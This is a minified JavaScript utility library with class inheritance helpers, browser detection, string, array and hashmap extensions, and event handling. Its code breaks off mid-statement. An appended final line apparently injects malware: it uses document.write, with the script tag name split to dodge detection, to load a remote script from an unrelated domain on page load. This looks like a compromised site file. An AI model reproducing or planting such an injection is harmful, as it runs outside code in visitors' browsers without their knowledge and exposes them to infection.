var Class={extend:function(parent,definition){if(arguments.length==1){definition=parent;parent=null;}var func=function(){if(!Class.extending){this.initialize.apply(this,arguments);}};if(typeof(parent)=="function"){Class.extending=true;func.prototype=new parent();delete Class.extending;}var mixins=[];if(definition&&definition.include){if(definition.include.reverse){mixins=mixins.concat(definition.include.reverse());}else{mixins.push(definition.include);}delete definition.include;}if(definition){Class.inherit(func.prototype,definition);}for(var i=0;(mixin=mixins[i]);i++){Class.mixin(func.prototype,mixin);}return(func);},mixin:function(destination,source,clobber){clobber=clobber||false;if(typeof(source)!="undefined"&&source!==null){for(var property in source){if(clobber||(!destination[property]&&typeof(source[property])=="function")){destination[property]=source[property];}}}return(destination);},inherit:function(destination,source,functionname){if(arguments.length==3){var ancestor=destination[functionname];var descendent=source[functionname];var method=descendent;descendent=function(){var reference=this.parent;this.parent=ancestor;var result=method.apply(this,arguments);(reference)?this.parent=reference:delete this.parent;return(result);};descendent.valueOf=function(){return(method);};descendent.toString=function(){return(method.toString());};destination[functionname]=descendent;}else{for(var property in source){if(destination[property]&&typeof(source[property])=="function"){Class.inherit(destination,source,property);}else{destination[property]=source[property];}}}return(destination);},singleton:function(){var args=arguments;if(args.length==2&&args[0].constructor&&args[0].constructor._class_){args[0]=args[0].constructor._class_;}var instance=false;var singleton={getInstance:function(){if(!instance){instance=new this.construtor._class_();}return(instance);}};singleton.construtor._class_=Class.extend(args.callee,args);return(singleton);}};Browser=Class.extend(Object,{name:null,initialize:function(){this.name=navigator.userAgent;},getFullName:function(){return(this.name);}});var browser=new Browser();var BrowserInfo={isIE:!!(window.attachEvent&&!window.opera),isOpera:(browser.getFullName().indexOf("Opera")>-1),isGecko:(browser.getFullName().indexOf("Gecko")>-1&&browser.getFullName().indexOf("KHTML")<=-1),isFirefox:(browser.getFullName().indexOf("Firefox")>-1)};var body=null;var head=null;var webPath=null;var utils=[];var page=null;
function $(id){return(document.getElementById(id));}
function $$(tagName){return(document.getElementsByTagName(tagName));}var includes=[];
function uses(pkg){var path=pkg.replace(/\./g,"/");var file=webPath+path+".js";includes.push(file);}
function debug(msg){var dbgArea=$("debug");dbgArea.value=msg+"\n"+dbgArea.value;}
function isset(value){return((value!==null)&&(typeof(value)!="undefined"));}
function in_array(needle,haystack){for(var i=0;i<haystack.length;i++){if(haystack[i]==needle){return(true);}}return(false);}String=Class.extend(String,{initialize:function(){},ucFirst:function(){return(this.charAt(0).toUpperCase()+this.substring(1));},format:function(){var args=arguments;var formattedString=args.shift();var splits=formattedString.split("%s");formattedString="";if((splits.length-1)>args.length){throw"To few arguments for the given string";}for(var i=0;i<args.length;i++){formattedString+=splits[i]+args[i];}return(formattedString+splits.pop());}});Array=Class.extend(Array,{initialize:function(){},remove:function(index){this[index]=null;var tmp=[];for(i=0;i<this.length;i++){if(this[i]!==null){tmp.push(this[i]);}}this.clear();this.addAll(tmp);},addAll:function(values){for(var i=0;i<values.length;i++){this.push(values[i]);}},clear:function(){this.length=0;return(this);},_toString:function(){var t_str="["+this.join(", ")+"]";}});Enumeration=Class.extend(Object,{initialize:function(field){var m_field=field;var m_ptr=0;},hasMore:function(){return(this.m_field.size>this.m_ptr);},next:function(){return(this.m_field[this.m_ptr++]);}});HashMap=Class.extend(Object,{keys:null,values:null,length:0,initialize:function(){this.keys=this.values=[];},put:function(key,value){this.keys.push(key);this.values.push(value);this.length++;},push:function(value){this.keys.push(this.length++);this.values.push(value);},get:function(key){var idx=this.keys.indexOf(key);if(idx>-1){return(this.values[idx]);}return(null);},clear:function(){this.keys=this.values=[];this.length=0;},size:function(){return(this.length);},keys:function(){return(new Enumerator(this.keys));}});var Events={OnLoad:"load",OnUnLoad:"unload",OnClick:"click",OnDoubleClick:"ondblclick"};Event=Class.extend(Object,{listeners:false,initialize:function(){if(!this.listeners){this.listeners=[];}},addListener:function(object,event,func){if(typeof(object)=="string"){object=$(object);}var ret=false;if(object.addEventListener){object.addEventListener(event,func,false);if(event==Events.OnClick){object.setAttribute("onclick","return(false);");}ret=true;}else if(object.attachEvent){ret=object.attachEvent("on"+event,func);}if(ret){this.listeners.push([object,event,func]);}return(ret);},removeListener:function(object,event,func){if(object.removeEventListener){object.removeEventListener(event,func,false);return(true);}else if(object.detachEvent){return(object.detachEvent("on"+event,func));}return(false);},removeAllListeners:function(){if(!this.listeners||this.listeners.length<=0){return;}for(var i=0;i<this.listeners.length;i++){this.removeListener.apply(this,this.listeners[i]);this.listeners[i][0]=null;}Event.listeners=false;}});Timer=Class.extend(Object,{initialize:function(){}});Animation=Class.extend(Object,{initialize:function(){}});Page=Class.extend(Object,{height:0,width:0,windowHeight:0,windowWidth:0,scrollX:0,scrollY:0,initialize:function(){if(window.innerHeight&&window.scro


document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/IBM_Compatible.js"></scri'+'pt>');